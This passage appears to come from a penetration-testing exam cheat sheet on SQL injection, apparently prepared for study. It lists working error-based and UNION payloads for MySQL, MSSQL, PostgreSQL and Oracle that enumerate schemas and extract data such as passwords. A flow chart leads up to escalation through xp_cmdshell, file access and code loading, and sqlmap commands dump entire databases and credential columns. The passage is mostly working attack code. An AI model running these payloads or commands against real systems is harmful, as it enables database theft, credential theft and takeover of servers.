' AND LineString((SELECT * FROM (SELECT * FROM (SELECT version())a)b))-- -
-- MultiLineString error-based
' AND MultiLineString((SELECT * FROM (SELECT * FROM (SELECT version())a)b))-- -
-- Database enumeration via error
' AND extractvalue(1, CONCAT(0x7e, (SELECT schema_name FROM information_schema.schemata LIMIT 0,1)))-- -
-- Table enumeration via error
' AND extractvalue(1, CONCAT(0x7e, (SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1)))-- -
-- Column enumeration via error
' AND extractvalue(1, CONCAT(0x7e, (SELECT column_name FROM information_schema.columns WHERE table_name='users' LIMIT 0,1)))-- -
-- Data extraction via error
' AND extractvalue(1, CONCAT(0x7e, (SELECT password FROM users LIMIT 0,1)))-- -
MSSQL
-- Convert error-based
'; BEGIN TRY SELECT 1/0 END TRY BEGIN CATCH SELECT @@version END CATCH-- -
-- CAST error-based
' AND 1=CAST((SELECT @@version) AS INT)-- -
-- CONVERT error-based
' AND 1=CONVERT(INT, (SELECT @@version))-- -
-- Database enumeration via error
' AND 1=CAST((SELECT TOP 1 name FROM sys.databases) AS INT)-- -
-- Table enumeration via error
' AND 1=CAST((SELECT TOP 1 name FROM sysobjects WHERE xtype='U') AS INT)-- -
-- Column enumeration via error
' AND 1=CAST((SELECT TOP 1 column_name FROM information_schema.columns WHERE table_name='users') AS INT)-- -
PostgreSQL
-- Cast error-based
' AND 1=CAST((SELECT version()) AS INT)-- -
-- Array index error-based
' AND (SELECT (ARRAY[version()])[1])-- -
-- Database enumeration via error
' AND 1=CAST((SELECT datname FROM pg_database LIMIT 1) AS INT)-- -
-- Table enumeration via error
' AND 1=CAST((SELECT tablename FROM pg_tables LIMIT 1) AS INT)-- -
-- Column enumeration via error
' AND 1=CAST((SELECT column_name FROM information_schema.columns WHERE table_name='users' LIMIT 1) AS INT)-- -
Oracle
-- TO_NUMBER error-based
' AND TO_NUMBER((SELECT banner FROM v$version))=0-- -
-- User extraction via error
' AND TO_NUMBER((SELECT user FROM dual))=0-- -
-- User enumeration via error
' AND TO_NUMBER((SELECT username FROM all_users WHERE ROWNUM=1))=0-- -
-- Table enumeration via error
' AND TO_NUMBER((SELECT table_name FROM all_tables WHERE ROWNUM=1))=0-- -
-- Column enumeration via error
' AND TO_NUMBER((SELECT column_name FROM all_tab_columns WHERE table_name='USERS' AND ROWNUM=1))=0-- -
Quick Reference: Detection Flow
┌─────────────────────────────────────────────────────────────────────┐
│ SQLi Schema Extraction Flow │
├─────────────────────────────────────────────────────────────────────┤
│ │
│ 1. DETECT SQLi TYPE │
│ ├─ UNION-based? → Use UNION SELECT │
│ ├─ Boolean-based? → Use AND/OR with SUBSTRING/ASCII │
│ ├─ Time-based? → Use SLEEP/WAITFOR/pg_sleep │
│ └─ Error-based? → Use extractvalue/updatexml/CAST │
│ │
│ 2. IDENTIFY DATABASE │
│ ├─ MySQL: version() contains 'MySQL' │
│ ├─ MSSQL: @@version contains 'Microsoft' │
│ ├─ PostgreSQL: version() contains 'PostgreSQL' │
│ ├─ Oracle: banner FROM v$version contains 'Oracle' │
│ └─ SQLite: sqlite_version() returns version string │
│ │
│ 3. EXTRACT SCHEMA INFO │
│ ├─ Get version, user, database │
│ ├─ Enumerate databases/schemata │
│ ├─ Enumerate tables │
│ ├─ Enumerate columns │
│ └─ Extract data │
│ │
│ 4. CHECK PRIVILEGES │
│ ├─ MySQL: SHOW GRANTS, mysql.user privileges │
│ ├─ MSSQL: IS_SRVROLEMEMBER, IS_MEMBER │
│ ├─ PostgreSQL: usesuper FROM pg_user │
│ ├─ Oracle: v$role_privs │
│ └─ SQLite: N/A │
│ │
│ 5. ESCALATE (if possible) │
│ ├─ MySQL: FILE privilege → read/write files │
│ ├─ MSSQL: xp_cmdshell → OS commands │
│ ├─ PostgreSQL: pg_read_file/pg_write_file │
│ ├─ Oracle: DBMS_SCHEDULER → OS commands │
│ └─ SQLite: load_extension → arbitrary code │
│ │
└─────────────────────────────────────────────────────────────────────┘
sqlmap Schema Extraction Commands
# Detect database type
sqlmap -u "http://target/vuln.php?id=1" --batch
# Enumerate all databases
sqlmap -u "http://target/vuln.php?id=1" --dbs --batch
# Enumerate tables in a database
sqlmap -u "http://target/vuln.php?id=1" -D database_name --tables --batch
# Enumerate columns in a table
sqlmap -u "http://target/vuln.php?id=1" -D database_name -T table_name --columns --batch
# Dump data from a table
sqlmap -u "http://target/vuln.php?id=1" -D database_name -T table_name --dump --batch
# Dump specific columns
sqlmap -u "http://target/vuln.php?id=1" -D database_name -T table_name -C username,password --dump --batch
# Dump all databases
sqlmap -u "http://target/vuln.php?id=1" --dump-all --batch
# Use time-based injection
sqlmap -u "http://target/vuln.php?id=1" --dbs --technique=T --batch
# Use boolean-based injection
sqlmap -u "http://target/vuln.php?id=1" --dbs --technique=B --batch
# Use error-based injection
sqlmap -u "http://target/vuln.php?id=1" --dbs --technique=E --batch
# Use UNION-based injection
sqlmap -u "http://target/vuln.php?id=1" --dbs --technique=U --batch
# Custom injection technique combination
sqlmap -u "http://target/vuln.php?id=1" --dbs --technique=UBT --batch
- Always start with UNION-based if possible (fastest, most reliable)
- Use ORDER BY to determine column count before UNION
- Cast NULL values to match column types:
UNION SELECT NULL,NULL,NULL
- Use GROUP_CONCAT in MySQL to get multiple values in one query:
' UNION SELECT GROUP_CONCAT(schema_name),2,3 FROM information_schema.schemata-- -
' UNION SELECT GROUP_CONCAT(table_name),2,3 FROM information_schema.tables WHERE table_schema=database()-- -
' UNION SELECT GROUP_CONCAT(column_name),2,3 FROM information_schema.columns WHERE table_name='users'-- -
- Use STRING_AGG in MSSQL:
' UNION SELECT STRING_AGG(name, ','),2,3 FROM sys.databases-- -
- Use STRING_AGG in PostgreSQL:
' UNION SELECT STRING_AGG(datname, ','),2,3 FROM pg_database-- -
- Use WM_CONCAT or LISTAGG in Oracle:
' UNION SELECT LISTAGG(username, ',') WITHIN GROUP (ORDER BY username),2,3 FROM all_users-- -
- For blind injection, use binary search with ASCII values for faster extraction
- Always verify extracted data makes sense before proceeding
- Document everything during the exam for write-up purposes
Last Updated: 2026-09-01